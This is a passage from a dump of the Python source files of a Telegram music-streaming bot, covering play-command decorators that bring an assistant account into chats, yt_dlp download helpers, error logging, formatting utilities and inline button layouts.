asyncio.sleep(1)\n                    await userbot.join_chat(invitelink)\n                except InviteRequestSent:\n                    try:\n                        await app.approve_chat_join_request(chat_id, userbot.id)\n                    except Exception as e:\n                        return await message.reply_text(\n                            _[\"call_3\"].format(app.mention, type(e).__name__)\n                        )\n                    await asyncio.sleep(3)\n                    await myu.edit(_[\"call_5\"].format(app.mention))\n                except UserAlreadyParticipant:\n                    pass\n                except Exception as e:\n                    return await message.reply_text(\n                        _[\"call_3\"].format(app.mention, type(e).__name__)\n                    )\n\n                links[chat_id] = invitelink\n\n                try:\n                    await userbot.resolve_peer(chat_id)\n                except:\n                    pass\n\n        return await command(\n            client,\n            message,\n            _,\n            chat_id,\n            video,\n            channel,\n            playmode,\n            url,\n            fplay,\n        )\n\n    return wrapper\n\n\ndef CPlayWrapper(command):\n    async def wrapper(client, message):\n        i = await client.get_me()\n        language = await get_lang(message.chat.id)\n        _ = get_string(language)\n        if message.sender_chat:\n            upl = InlineKeyboardMarkup(\n                [\n                    [\n                        InlineKeyboardButton(\n                            text=\"ʜᴏᴡ ᴛᴏ ғɪx ?\",\n                            callback_data=\"AnonymousAdmin\",\n                        ),\n                    ]\n                ]\n            )\n            return await message.reply_text(_[\"general_3\"], reply_markup=upl)\n\n        if await is_maintenance() is False:\n            if message.from_user.id not in SUDOERS:\n                return await message.reply_text(\n                    text=f\"{i.mention} ɪs ᴜɴᴅᴇʀ ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ, ᴠɪsɪᴛ <a href={SUPPORT_CHAT}>sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ</a> ғᴏʀ ᴋɴᴏᴡɪɴɢ ᴛʜᴇ ʀᴇᴀsᴏɴ.\",\n                    disable_web_page_preview=True,\n                )\n\n        try:\n            await message.delete()\n        except:\n            pass\n\n        audio_telegram = (\n            (message.reply_to_message.audio or message.reply_to_message.voice)\n            if message.reply_to_message\n            else None\n        )\n        video_telegram = (\n            (message.reply_to_message.video or message.reply_to_message.document)\n            if message.reply_to_message\n            else None\n        )\n        url = await YouTube.url(message)\n        if audio_telegram is None and video_telegram is None and url is None:\n            if len(message.command) < 2:\n                if \"stream\" in message.command:\n                    return await message.reply_text(_[\"str_1\"])\n                buttons = botplaylist_markup(_)\n                return await message.reply_photo(\n                    photo=PLAYLIST_IMG_URL,\n                    caption=_[\"play_18\"],\n                    reply_markup=InlineKeyboardMarkup(buttons),\n                )\n        if message.command[0][0] == \"c\":\n            chat_id = await get_cmode(message.chat.id)\n            if chat_id is None:\n                return await message.reply_text(_[\"setting_7\"])\n            try:\n                chat = await client.get_chat(chat_id)\n            except:\n                return await message.reply_text(_[\"cplay_4\"])\n            channel = chat.title\n        else:\n            chat_id = message.chat.id\n            channel = None\n        playmode = await get_playmode(message.chat.id)\n        playty = await get_playtype(message.chat.id)\n        if playty != \"Everyone\":\n            if message.from_user.id not in SUDOERS:\n                admins = adminlist.get(message.chat.id)\n                if not admins:\n                    return await message.reply_text(_[\"admin_13\"])\n                else:\n                    if message.from_user.id not in admins:\n                        return await message.reply_text(_[\"play_4\"])\n        if message.command[0][0] == \"v\":\n            video = True\n        else:\n            if \"-v\" in message.text:\n                video = True\n            else:\n                video = True if message.command[0][1] == \"v\" else None\n        if message.command[0][-1] == \"e\":\n            if not await is_active_chat(chat_id):\n                return await message.reply_text(_[\"play_16\"])\n            fplay = True\n        else:\n            fplay = None\n\n        if not await is_active_chat(chat_id):\n            userbot = await get_assistant(chat_id)\n            try:\n                try:\n                    get = await client.get_chat_member(chat_id, userbot.username)\n                except ChatAdminRequired:\n                    await message.reply_text(_[\"call_1\"])\n                if (\n                    get.status == ChatMemberStatus.BANNED\n                    or get.status == ChatMemberStatus.RESTRICTED\n                ):\n                    await message.reply_text(\n                        _[\"call_2\"].format(\n                            i.mention, userbot.id, userbot.name, userbot.username\n                        )\n                    )\n            except UserNotParticipant:\n                if chat_id in clinks:\n                    invitelink = clinks[chat_id]\n                else:\n                    if message.chat.username:\n                        invitelink = message.chat.username\n                        try:\n                            await userbot.resolve_peer(invitelink)\n                        except:\n                            pass\n                    else:\n                        try:\n                            invitelink = await client.export_chat_invite_link(chat_id)\n                        except ChatAdminRequired:\n                            await message.reply_text(_[\"call_1\"])\n                        except Exception as e:\n                            await message.reply_text(\n                                _[\"call_3\"].format(i.mention, type(e).__name__)\n                            )\n\n                if invitelink.startswith(\"https://t.me/+\"):\n                    invitelink = invitelink.replace(\n                        \"https://t.me/+\", \"https://t.me/joinchat/\"\n                    )\n                myu = await message.reply_text(_[\"call_4\"].format(i.mention))\n                try:\n                    await asyncio.sleep(1)\n                    await userbot.join_chat(invitelink)\n                except InviteRequestSent:\n                    try:\n                        await client.approve_chat_join_request(chat_id, userbot.id)\n                    except Exception as e:\n                        await message.reply_text(\n                            _[\"call_3\"].format(i.mention, type(e).__name__)\n                        )\n                    await asyncio.sleep(3)\n                    await myu.edit(_[\"call_5\"].format(i.mention))\n                except UserAlreadyParticipant:\n                    pass\n                except Exception as e:\n                    await message.reply_text(\n                        _[\"call_3\"].format(i.mention, type(e).__name__)\n                    )\n\n                clinks[chat_id] = invitelink\n\n                try:\n                    await userbot.resolve_peer(chat_id)\n                except:\n                    pass\n\n        return await command(\n            client,\n            message,\n            _,\n            chat_id,\n            video,\n            channel,\n            playmode,\n            url,\n            fplay,\n        )\n\n    return wrapper\n"
  },
  {
    "path": "BrandrdXMusic/utils/downloader.py",
    "content": "from os import path\nimport yt_dlp\nfrom yt_dlp.utils import DownloadError\n\nytdl = yt_dlp.YoutubeDL(\n    {\n        \"outtmpl\": \"downloads/%(id)s.%(ext)s\",\n        \"format\": \"bestaudio[ext=m4a]\",\n        \"geo_bypass\": True,\n        \"nocheckcertificate\": True,\n    }\n)\n\n\ndef download(url: str, my_hook) -> str:\n    ydl_optssx = {\n        \"format\": \"bestaudio[ext=m4a]\",\n        \"outtmpl\": \"downloads/%(id)s.%(ext)s\",\n        \"geo_bypass\": True,\n        \"nocheckcertificate\": True,\n        \"quiet\": True,\n        \"no_warnings\": True,\n    }\n    info = ytdl.extract_info(url, False)\n    try:\n        x = yt_dlp.YoutubeDL(ydl_optssx)\n        x.add_progress_hook(my_hook)\n        dloader = x.download([url])\n    except Exception as y_e:\n        return print(y_e)\n    else:\n        dloader\n    xyz = path.join(\"downloads\", f\"{info['id']}.{info['ext']}\")\n    return xyz\n"
  },
  {
    "path": "BrandrdXMusic/utils/downloaders.py",
    "content": "import os\nfrom yt_dlp import YoutubeDL\n\nydl_opts = {\n    \"format\": \"bestaudio/best\",\n    \"outtmpl\": \"downloads/%(id)s.%(ext)s\",\n    \"geo_bypass\": True,\n    \"nocheckcertificate\": True,\n    \"quiet\": True,\n    \"no_warnings\": True,\n    \"prefer_ffmpeg\": True,\n    \"postprocessors\": [\n        {\n            \"key\": \"FFmpegExtractAudio\",\n            \"preferredcodec\": \"mp3\",\n            \"preferredquality\": \"320\",\n        }\n    ],\n}\nydl = YoutubeDL(ydl_opts)\n\n\ndef audio_dl(url: str) -> str:\n    sin = ydl.extract_info(url, False)\n    x_file = os.path.join(\"downloads\", f\"{sin['id']}.mp3\")\n    if os.path.exists(x_file):\n        return x_file\n    ydl.download([url])\n    return x_file\n"
  },
  {
    "path": "BrandrdXMusic/utils/errors.py",
    "content": "import sys\nimport traceback\nfrom functools import wraps\n\nfrom pyrogram.errors.exceptions.forbidden_403 import ChatWriteForbidden\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.logging import LOGGER\n\n\ndef split_limits(text):\n    if len(text) < 2048:\n        return [text]\n\n    lines = text.splitlines(True)\n    small_msg = \"\"\n    result = []\n    for line in lines:\n        if len(small_msg) + len(line) < 2048:\n            small_msg += line\n        else:\n            result.append(small_msg)\n            small_msg = line\n\n    result.append(small_msg)\n\n    return result\n\n\ndef capture_err(func):\n    @wraps(func)\n    async def capture(client, message, *args, **kwargs):\n        try:\n            return await func(client, message, *args, **kwargs)\n        except ChatWriteForbidden:\n            await app.leave_chat(message.chat.id)\n            return\n        except Exception as err:\n            exc_type, exc_obj, exc_tb = sys.exc_info()\n            errors = traceback.format_exception(\n                etype=exc_type,\n                value=exc_obj,\n                tb=exc_tb,\n            )\n            error_feedback = split_limits(\n                \"**ERROR** | `{}` | `{}`\\n\\n```{}```\\n\\n```{}```\\n\".format(\n                    0 if not message.from_user else message.from_user.id,\n                    0 if not message.chat else message.chat.id,\n                    message.text or message.caption,\n                    \"\".join(errors),\n                ),\n            )\n            for x in error_feedback:\n                await app.send_message(LOGGER, x)\n            raise err\n\n    return capture\n"
  },
  {
    "path": "BrandrdXMusic/utils/events.py",
    "content": "import inspect\nimport re\nfrom pathlib import Path\nfrom telethon import events\nfrom BrandrdXMusic import telethn\n\n\ndef register(**args):\n    \"\"\"Registers a new message.\"\"\"\n    pattern = args.get(\"pattern\", None)\n\n    r_pattern = r\"^[/!.]\"\n\n    if pattern is not None and not pattern.startswith(\"(?i)\"):\n        args[\"pattern\"] = \"(?i)\" + pattern\n\n    args[\"pattern\"] = pattern.replace(\"^/\", r_pattern, 1)\n\n    def decorator(func):\n        telethn.add_event_handler(func, events.NewMessage(**args))\n        return func\n\n    return decorator\n"
  },
  {
    "path": "BrandrdXMusic/utils/exceptions.py",
    "content": "class AssistantErr(Exception):\n    def __init__(self, errr: str):\n        super().__init__(errr)\n\n\nclass UnableToFetchCarbon(Exception):\n    pass\n\n"
  },
  {
    "path": "BrandrdXMusic/utils/extraction.py",
    "content": "from pyrogram.enums import MessageEntityType\nfrom pyrogram.types import Message, User\n\nfrom BrandrdXMusic import app\n\n\nasync def extract_user(m: Message) -> User:\n    if m.reply_to_message:\n        return m.reply_to_message.from_user\n    msg_entities = m.entities[1] if m.text.startswith(\"/\") else m.entities[0]\n    return await app.get_users(\n        msg_entities.user.id\n        if msg_entities.type == MessageEntityType.TEXT_MENTION\n        else int(m.command[1])\n        if m.command[1].isdecimal()\n        else m.command[1]\n    )\n"
  },
  {
    "path": "BrandrdXMusic/utils/filters_func.py",
    "content": "from enum import Enum, auto\nfrom BrandrdXMusic import app\nfrom pyrogram.types import InlineKeyboardMarkup, Message\nfrom BrandrdXMusic.utils.msg_types import button_markdown_parser\nfrom BrandrdXMusic.utils.notes_func import NoteFillings\nfrom emojis import decode\nfrom pyrogram.types import Message\n\n\nasync def SendFilterMessage(message: Message, filter_name: str, content: str, text: str, data_type: int):\n    \n    chat_id = message.chat.id\n    message_id = message.id\n    text, buttons = button_markdown_parser(text)\n    \n    text = NoteFillings(message, text)\n    reply_markup = None\n    if len(buttons) > 0:\n        reply_markup = InlineKeyboardMarkup(buttons)\n    else:\n        reply_markup = None\n\n    if data_type == 1:\n        await app.send_message(\n            chat_id=chat_id,\n            text=text,\n            reply_markup=reply_markup,\n            reply_to_message_id=message_id\n        )\n\n    elif data_type == 2:\n        await app.send_sticker(\n            chat_id=chat_id,\n            sticker=content,\n            reply_markup=reply_markup,\n            reply_to_message_id=message_id\n        )\n        \n    elif data_type ==3:\n        await app.send_animation(\n            chat_id=chat_id,\n            animation=content,\n            reply_markup=reply_markup,\n            reply_to_message_id=message_id\n        )\n\n    elif data_type == 4:\n        await app.send_document(\n            chat_id=chat_id,\n            document=content,\n            caption=text,\n            reply_markup=reply_markup,\n            reply_to_message_id=message_id\n        )\n\n    elif data_type == 5:\n        await app.send_photo(\n            chat_id=chat_id,\n            photo=content,\n            caption=text,\n            reply_markup=reply_markup,\n            reply_to_message_id=message_id\n        )\n    \n    elif data_type == 6:\n        await app.send_audio(\n            chat_id=chat_id,\n            audio=content,\n            caption=text,\n            reply_markup=reply_markup,\n            reply_to_message_id=message_id\n        )\n    \n    elif data_type == 7:\n        await app.send_voice(\n            chat_id=chat_id,\n            voice=content,\n            caption=text,\n            reply_markup=reply_markup,\n            reply_to_message_id=message_id\n        )\n    \n    elif data_type == 8:\n        await app.send_video(\n            chat_id=chat_id,\n            video=content,\n            caption=text,\n            reply_markup=reply_markup,\n            reply_to_message_id=message_id\n        )\n    \n    elif data_type == 9:\n        await app.send_video_note(\n            chat_id=chat_id,\n            video_note=content,\n            reply_markup=reply_markup,\n            reply_to_message_id=message_id\n        )\n\n\nclass FilterMessageTypeMap(Enum):\n    text = auto()\n    sticker = auto()\n    animation= auto()\n    document = auto()\n    photo = auto()\n    audio = auto()\n    voice = auto()\n    video = auto()\n    video_note = auto()\n\nasync def GetFIlterMessage(message):\n    data_type = None\n    content = None\n    text = str()\n\n    raw_text = message.text or message.caption\n    args = raw_text.split(None, 2)\n        \n    if len(args) >= 3 and not message.reply_to_message:\n        text = message.text.markdown[len(message.command[0]) + len(message.command[1]) + 4 :]\n        data_type = FilterMessageTypeMap.text.value\n\n    if (\n        message.reply_to_message\n        and message.reply_to_message.text\n    ):\n        if len(args) >= 2:\n            text = message.reply_to_message.text.markdown\n            data_type = FilterMessageTypeMap.text.value\n            \n    elif (\n        message.reply_to_message\n        and message.reply_to_message.sticker\n    ):\n        content = message.reply_to_message.sticker.file_id\n        data_type = FilterMessageTypeMap.sticker.value\n    \n    elif (\n        message.reply_to_message\n        and message.reply_to_message.animation\n    ):\n        content = message.reply_to_message.animation.file_id\n        if message.reply_to_message.caption:\n            text = message.reply_to_message.caption.markdown\n        data_type = FilterMessageTypeMap.animation.value\n        \n    elif (\n        message.reply_to_message\n        and message.reply_to_message.document\n    ):\n        content = message.reply_to_message.document.file_id\n        if message.reply_to_message.caption: \n            text = message.reply_to_message.caption.markdown \n        data_type = FilterMessageTypeMap.document.value\n\n    elif (\n        message.reply_to_message\n        and message.reply_to_message.photo\n    ):\n        content = message.reply_to_message.photo.file_id\n        if message.reply_to_message.caption:\n            text = message.reply_to_message.caption.markdown\n        data_type = FilterMessageTypeMap.photo.value\n\n    elif (\n        message.reply_to_message\n        and message.reply_to_message.audio\n    ):\n        content = message.reply_to_message.audio.file_id\n        if message.reply_to_message.caption:\n            text = message.reply_to_message.caption.markdown \n        data_type = FilterMessageTypeMap.audio.value\n\n    elif (\n        message.reply_to_message\n        and message.reply_to_message.voice\n    ):\n        content = message.reply_to_message.voice.file_id\n        if message.reply_to_message.caption:\n            text = message.reply_to_message.caption.markdown\n        data_type = FilterMessageTypeMap.voice.value\n\n    elif (\n        message.reply_to_message\n        and message.reply_to_message.video\n    ):\n        content = message.reply_to_message.video.file_id \n        if message.reply_to_message.caption:\n            text = message.reply_to_message.caption.markdown \n        data_type= FilterMessageTypeMap.video.value\n\n    elif (\n        message.reply_to_message\n        and message.reply_to_message.video_note\n    ):\n        content = message.reply_to_message.video_note.file_id\n        text = None \n        data_type = FilterMessageTypeMap.video_note.value\n\n    return (\n        content,\n        text,\n        data_type\n    )\n\ndef get_text_reason(message: Message) -> str:\n    \"\"\"This function returns text, and the reason of the user's arguments\n\n    Args:\n        message (Message): Message\n\n    Returns:\n        [str]: text, reason\n    \"\"\"\n    text = decode(message.text)\n    index_finder = [x for x in range(len(text)) if text[x] == '\"']\n    if len(index_finder) >= 2:\n        text = text[index_finder[0]+1: index_finder[1]]\n        reason = text[index_finder[1] + 2:]\n        if not reason:\n            reason = None\n    else:\n        text = message.command[1]\n        reason = ' '.join(message.command[2:])\n        if not reason:\n            reason = None\n    \n    return (\n        text,\n        reason\n        )\n"
  },
  {
    "path": "BrandrdXMusic/utils/formatters.py",
    "content": "import json\nimport subprocess\n\n\ndef get_readable_time(seconds: int) -> str:\n    count = 0\n    ping_time = \"\"\n    time_list = []\n    time_suffix_list = [\"s\", \"ᴍ\", \"ʜ\", \"ᴅᴀʏs\"]\n    while count < 4:\n        count += 1\n        if count < 3:\n            remainder, result = divmod(seconds, 60)\n        else:\n            remainder, result = divmod(seconds, 24)\n        if seconds == 0 and remainder == 0:\n            break\n        time_list.append(int(result))\n        seconds = int(remainder)\n    for i in range(len(time_list)):\n        time_list[i] = str(time_list[i]) + time_suffix_list[i]\n    if len(time_list) == 4:\n        ping_time += time_list.pop() + \", \"\n    time_list.reverse()\n    ping_time += \":\".join(time_list)\n    return ping_time\n\n\ndef convert_bytes(size: float) -> str:\n    \"\"\"humanize size\"\"\"\n    if not size:\n        return \"\"\n    power = 1024\n    t_n = 0\n    power_dict = {0: \" \", 1: \"Ki\", 2: \"Mi\", 3: \"Gi\", 4: \"Ti\"}\n    while size > power:\n        size /= power\n        t_n += 1\n    return \"{:.2f} {}B\".format(size, power_dict[t_n])\n\n\nasync def int_to_alpha(user_id: int) -> str:\n    alphabet = [\"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\", \"h\", \"i\", \"j\"]\n    text = \"\"\n    user_id = str(user_id)\n    for i in user_id:\n        text += alphabet[int(i)]\n    return text\n\n\nasync def alpha_to_int(user_id_alphabet: str) -> int:\n    alphabet = [\"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\", \"h\", \"i\", \"j\"]\n    user_id = \"\"\n    for i in user_id_alphabet:\n        index = alphabet.index(i)\n        user_id += str(index)\n    user_id = int(user_id)\n    return user_id\n\n\ndef time_to_seconds(time):\n    stringt = str(time)\n    return sum(int(x) * 60**i for i, x in enumerate(reversed(stringt.split(\":\"))))\n\n\ndef seconds_to_min(seconds):\n    if seconds is not None:\n        seconds = int(seconds)\n        d, h, m, s = (\n            seconds // (3600 * 24),\n            seconds // 3600 % 24,\n            seconds % 3600 // 60,\n            seconds % 3600 % 60,\n        )\n        if d > 0:\n            return \"{:02d}:{:02d}:{:02d}:{:02d}\".format(d, h, m, s)\n        elif h > 0:\n            return \"{:02d}:{:02d}:{:02d}\".format(h, m, s)\n        elif m > 0:\n            return \"{:02d}:{:02d}\".format(m, s)\n        elif s > 0:\n            return \"00:{:02d}\".format(s)\n    return \"-\"\n\n\ndef speed_converter(seconds, speed):\n    if str(speed) == str(\"0.5\"):\n        seconds = seconds * 2\n    if str(speed) == str(\"0.75\"):\n        seconds = seconds + ((50 * seconds) // 100)\n    if str(speed) == str(\"1.5\"):\n        seconds = seconds - ((25 * seconds) // 100)\n    if str(speed) == str(\"2.0\"):\n        seconds = seconds - ((50 * seconds) // 100)\n    collect = seconds\n    if seconds is not None:\n        seconds = int(seconds)\n        d, h, m, s = (\n            seconds // (3600 * 24),\n            seconds // 3600 % 24,\n            seconds % 3600 // 60,\n            seconds % 3600 % 60,\n        )\n        if d > 0:\n            convert = \"{:02d}:{:02d}:{:02d}:{:02d}\".format(d, h, m, s)\n            return convert, collect\n        elif h > 0:\n            convert = \"{:02d}:{:02d}:{:02d}\".format(h, m, s)\n            return convert, collect\n        elif m > 0:\n            convert = \"{:02d}:{:02d}\".format(m, s)\n            return convert, collect\n        elif s > 0:\n            convert = \"00:{:02d}\".format(s)\n            return convert, collect\n    return \"-\"\n\n\ndef check_duration(file_path):\n    command = [\n        \"ffprobe\",\n        \"-loglevel\",\n        \"quiet\",\n        \"-print_format\",\n        \"json\",\n        \"-show_format\",\n        \"-show_streams\",\n        file_path,\n    ]\n\n    pipe = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n    out, err = pipe.communicate()\n    _json = json.loads(out)\n\n    if \"format\" in _json:\n        if \"duration\" in _json[\"format\"]:\n            return float(_json[\"format\"][\"duration\"])\n\n    if \"streams\" in _json:\n        for s in _json[\"streams\"]:\n            if \"duration\" in s:\n                return float(s[\"duration\"])\n\n    return \"Unknown\"\n\n\nformats = [\n    \"webm\",\n    \"mkv\",\n    \"flv\",\n    \"vob\",\n    \"ogv\",\n    \"ogg\",\n    \"rrc\",\n    \"gifv\",\n    \"mng\",\n    \"mov\",\n    \"avi\",\n    \"qt\",\n    \"wmv\",\n    \"yuv\",\n    \"rm\",\n    \"asf\",\n    \"amv\",\n    \"mp4\",\n    \"m4p\",\n    \"m4v\",\n    \"mpg\",\n    \"mp2\",\n    \"mpeg\",\n    \"mpe\",\n    \"mpv\",\n    \"m4v\",\n    \"svi\",\n    \"3gp\",\n    \"3g2\",\n    \"mxf\",\n    \"roq\",\n    \"nsv\",\n    \"flv\",\n    \"f4v\",\n    \"f4p\",\n    \"f4a\",\n    \"f4b\",\n]\n"
  },
  {
    "path": "BrandrdXMusic/utils/inline/__init__.py",
    "content": "from .extras import *\nfrom .help import *\nfrom .play import *\nfrom .queue import *\nfrom .settings import *\nfrom .speed import *\nfrom .start import *\nfrom .playlist import *\n"
  },
  {
    "path": "BrandrdXMusic/utils/inline/extras.py",
    "content": "from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup\n\nfrom config import SUPPORT_CHAT\n\n\ndef botplaylist_markup(_):\n    buttons = [\n        [\n            InlineKeyboardButton(text=_[\"S_B_9\"], url=SUPPORT_CHAT),\n            InlineKeyboardButton(text=_[\"CLOSE_BUTTON\"], callback_data=\"close\"),\n        ],\n    ]\n    return buttons\n\n\ndef close_markup(_):\n    upl = InlineKeyboardMarkup(\n        [\n            [\n                 InlineKeyboardButton(\n                text=\"🥀 ꜱᴜᴘᴘᴏʀᴛ 🥀\", url=f\"https://t.me/BRANDED_WORLD\"\n            ),\n                InlineKeyboardButton(\n                    text=_[\"CLOSE_BUTTON\"],\n                    callback_data=\"close\",\n                ),\n            ]\n        ]\n    )\n    return upl\n\n\ndef supp_markup(_):\n    upl = InlineKeyboardMarkup(\n        [\n            [\n                InlineKeyboardButton(\n                    text=_[\"S_B_9\"],\n                    url=SUPPORT_CHAT,\n                ),\n            ]\n        ]\n    )\n    return upl\n"
  },
  {
    "path": "BrandrdXMusic/utils/inline/help.py",
    "content": "from typing import Union\n\nfrom pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup\n\nfrom BrandrdXMusic import app\n\n    \n\ndef help_pannel(_, START: Union[bool, int] = None):\n    first = [InlineKeyboardButton(text=_[\"CLOSE_BUTTON\"], callback_data=f\"close\")]\n    second = [\n        InlineKeyboardButton(\n            text=_[\"BACK_PAGE\"],\n            callback_data=f\"mbot_cb\",\n        ),\n        InlineKeyboardButton(\n            text=_[\"BACK_BUTTON\"],\n            callback_data=f\"settingsback_helper\",\n        ),InlineKeyboardButton(\n            text=_[\"NEXT_PAGE\"],\n            callback_data=f\"mbot_cb\",\n        ),\n    ]\n    mark = second if START else first\n    upl = InlineKeyboardMarkup(\n        [\n            [\n                InlineKeyboardButton(\n                    text=_[\"H_B_1\"],\n                    callback_data=\"help_callback hb1\",\n                ),\n                InlineKeyboardButton(\n                    text=_[\"H_B_2\"],\n                    callback_data=\"help_callback hb2\",\n                ),\n                InlineKeyboardButton(\n                    text=_[\"H_B_3\"],\n                    callback_data=\"help_callback hb3\",\n                ),\n            ],\n            [\n                InlineKeyboardButton(\n                    text=_[\"H_B_4\"],\n                    callback_data=\"help_callback hb4\",\n                ),\n                InlineKeyboardButton(\n                    text=_[\"H_B_5\"],\n                    callback_data=\"help_callback hb5\",\n                ),\n                InlineKeyboardButton(\n                    text=_[\"H_B_6\"],\n                    callback_data=\"help_callback hb6\",\n                ),\n            ],\n            [\n                InlineKeyboardButton(\n                    text=_[\"H_B_7\"],\n                    callback_data=\"help_callback hb7\",\n                ),\n                InlineKeyboardButton(\n                    text=_[\"H_B_8\"],\n                    callback_data=\"help_callback hb8\",\n                ),\n                InlineKeyboardButton(\n                    text=_[\"H_B_9\"],\n                    callback_data=\"help_callback hb9\",\n                ),\n            ],\n            [\n                InlineKeyboardButton(\n                    text=_[\"H_B_10\"],\n                    callback_data=\"help_callback hb10\",\n                ),\n                InlineKeyboardButton(\n                    text=_[\"H_B_11\"],\n                    callback_data=\"help_callback hb11\",\n                ),\n                InlineKeyboardButton(\n                    text=_[\"H_B_12\"],\n                    callback_data=\"help_callback hb12\",\n                ),\n            ],\n            [\n                InlineKeyboardButton(\n                    text=_[\"H_B_13\"],\n                    callback_data=\"help_callback hb13\",\n                ),\n                InlineKeyboardButton(\n                    text=_[\"H_B_14\"],\n                    callback_data=\"help_callback hb14\",\n                ),\n                InlineKeyboardButton(\n                    text=_[\"H_B_15\"],\n                    callback_data=\"help_callback hb15\",\n                ),\n            ],\n            mark,\n        ]\n    )\n    return upl\n\n\ndef help_back_markup(_):\n    upl = InlineKeyboardMarkup(\n        [\n            [\n                InlineKeyboardButton(\n                    text=_[\"BACK_BUTTON\"],\n                    callback_data=f\"settings_back_helper\",\n                ),\n            ]\n        ]\n    )\n    return upl\n\n\ndef private_help_panel(_):\n    buttons = [\n        [\n            InlineKeyboardButton(\n                text=_[\"S_B_4\"],\n                url=f\"https://t.me/{app.username}?start=help\",\n            ),\n        ],\n    ]\n    return buttons\n"
  },
  {
    "path": "BrandrdXMusic/utils/inline/play.py",
    "content": "import math\nfrom pyrogram.types import InlineKeyboardButton\nfrom BrandrdXMusic.utils.formatters import time_to_seconds\n\n\n# Track Markup\ndef track_markup(_, videoid, user_id, channel, fplay):\n    return [\n        [\n            InlineKeyboardButton(\n                text=_[\"P_B_1\"],\n                callback_data=f\"MusicStream {videoid}|{user_id}|a|{channel}|{fplay}\",\n            ),\n            InlineKeyboardButton(\n                text=_[\"P_B_2\"],\n                callback_data=f\"MusicStream {videoid}|{user_id}|v|{channel}|{fplay}\",\n            ),\n        ],\n        [\n            InlineKeyboardButton(\n                text=_[\"CLOSE_BUTTON\"],\n                callback_data=f\"forceclose {videoid}|{user_id}\",\n            )\n        ],\n    ]\n\n\n# Stream Timer Markup\ndef stream_markup_timer(_, vidid, chat_id, played, dur):\n    played_sec = time_to_seconds(played)\n    duration_sec = time_to_seconds(dur) or 1  # avoid ZeroDivisionError\n    percentage = (played_sec / duration_sec) * 100\n    umm = math.floor(percentage)\n\n    if 0 < umm <= 10:\n        bar = \"❥—————————\"\n    elif 10 < umm < 20:\n        bar = \"—❥————————\"\n    elif 20 <= umm < 30:\n        bar = \"——❥———————\"\n    elif 30 <= umm < 40:\n        bar = \"———❥——————\"\n    elif 40 <= umm < 50:\n        bar = \"————❥—————\"\n    elif 50 <= umm < 60:\n        bar = \"—————❥————\"\n    elif 60 <= umm < 70:\n        bar = \"——————❥———\"\n    elif 70 <= umm < 80:\n        bar = \"———————❥——\"\n    elif 80 <= umm < 95:\n        bar = \"————————❥—\"\n    else:\n        bar = \"—————————❥\"\n\n    return [\n        [\n            InlineKeyboardButton(\n                text=f\"{played} {bar} {dur}\", callback_data=\"GetTimer\"\n            )\n        ],\n        [\n            InlineKeyboardButton(text=\"▷\", callback_data=f\"ADMIN Resume|{chat_id}\"),\n            InlineKeyboardButton(text=\"II\", callback_data=f\"ADMIN Pause|{chat_id}\"),\n            InlineKeyboardButton(text=\"↻\", callback_data=f\"ADMIN Replay|{chat_id}\"),\n            InlineKeyboardButton(text=\"‣‣I\", callback_data=f\"ADMIN Skip|{chat_id}\"),\n            InlineKeyboardButton(text=\"▢\", callback_data=f\"ADMIN Stop|{chat_id}\"),\n        ],\n        [\n            InlineKeyboardButton(text=\"ᴏᴡɴᴇʀ\", url=\"https://t.me/BRANDEDKING8\"),\n            InlineKeyboardButton(text=\"sᴜᴘᴘᴏʀᴛ\", url=\"https://t.me/BRANDED_WORLD\"),\n        ],\n        [InlineKeyboardButton(text=_[\"CLOSE_BUTTON\"], callback_data=\"close\")],\n    ]\n\n\n# Stream Markup\ndef stream_markup(_, videoid, chat_id):\n    return [\n        [\n            InlineKeyboardButton(text=\"▷\", callback_data=f\"ADMIN Resume|{chat_id}\"),\n            InlineKeyboardButton(text=\"II\", callback_data=f\"ADMIN Pause|{chat_id}\"),\n            InlineKeyboardButton(text=\"↻\", callback_data=f\"ADMIN Replay|{chat_id}\"),\n            InlineKeyboardButton(text=\"‣‣I\", callback_data=f\"ADMIN Skip|{chat_id}\"),\n            InlineKeyboardButton(text=\"▢\", callback_data=f\"ADMIN Stop|{chat_id}\"),\n        ],\n        [\n            InlineKeyboardButton(text=\"ᴏᴡɴᴇʀ\", url=\"https://t.me/BRANDEDKING8\"),\n            InlineKeyboardButton(text=\"sᴜᴘᴘᴏʀᴛ\", url=\"https://t.me/BRANDED_WORLD\"),\n        ],\n        [InlineKeyboardButton(text=_[\"CLOSE_BUTTON\"], callback_data=\"close\")],\n    ]\n\n\n# Playlist Markup\ndef playlist_markup(_, videoid, user_id, ptype, channel, fplay):\n    return [\n        [\n            InlineKeyboardButton(\n                text=_[\"P_B_1\"],\n                callback_data=f\"Playlists {videoid}|{user_id}|{ptype}|a|{channel}|{fplay}\",  # fix name if needed\n            ),\n            InlineKeyboardButton(\n                text=_[\"P_B_2\"],\n                callback_data=f\"Playlists {videoid}|{user_id}|{ptype}|v|{channel}|{fplay}\",\n            ),\n        ],\n        [\n            InlineKeyboardButton(\n                text=_[\"CLOSE_BUTTON\"],\n                callback_data=f\"forceclose {videoid}|{user_id}\",\n            ),\n        ],\n    ]\n\n\n# Livestream Markup\ndef livestream_markup(_, videoid, user_id, mode, channel, fplay):\n    return [\n        [\n            InlineKeyboardButton(\n                text=_[\"P_B_3\"],\n                callback_data=f\"LiveStream {videoid}|{user_id}|{mode}|{channel}|{fplay}\",\n            ),\n        ],\n        [\n            InlineKeyboardButton(\n                text=_[\"CLOSE_BUTTON\"],\n                callback_data=f\"forceclose {videoid}|{user_id}\",\n            ),\n        ],\n    ]\n\n\n# Slider Markup\ndef slider_markup(_, videoid, user_id, query, query_type, channel, fplay):\n    query = f\"{query[:20]}\"\n    return [\n        [\n            InlineKeyboardButton(\n                text=_[\"P_B_1\"],\n                callback_data=f\"MusicStream {videoid}|{user_id}|a|{channel}|{fplay}\",\n            ),\n            InlineKeyboardButton(\n                text=_[\"P_B_2\"],\n                callback_data=f\"MusicStream {videoid}|{user_id}|v|{channel}|{fplay}\",\n            ),\n        ],\n        [\n            InlineKeyboardButton(\n                text=\"◁\",\n                callback_data=f\"slider B|{query_type}|{query}|{user_id}|{channel}|{fplay}\",\n            ),\n            InlineKeyboardButton(\n                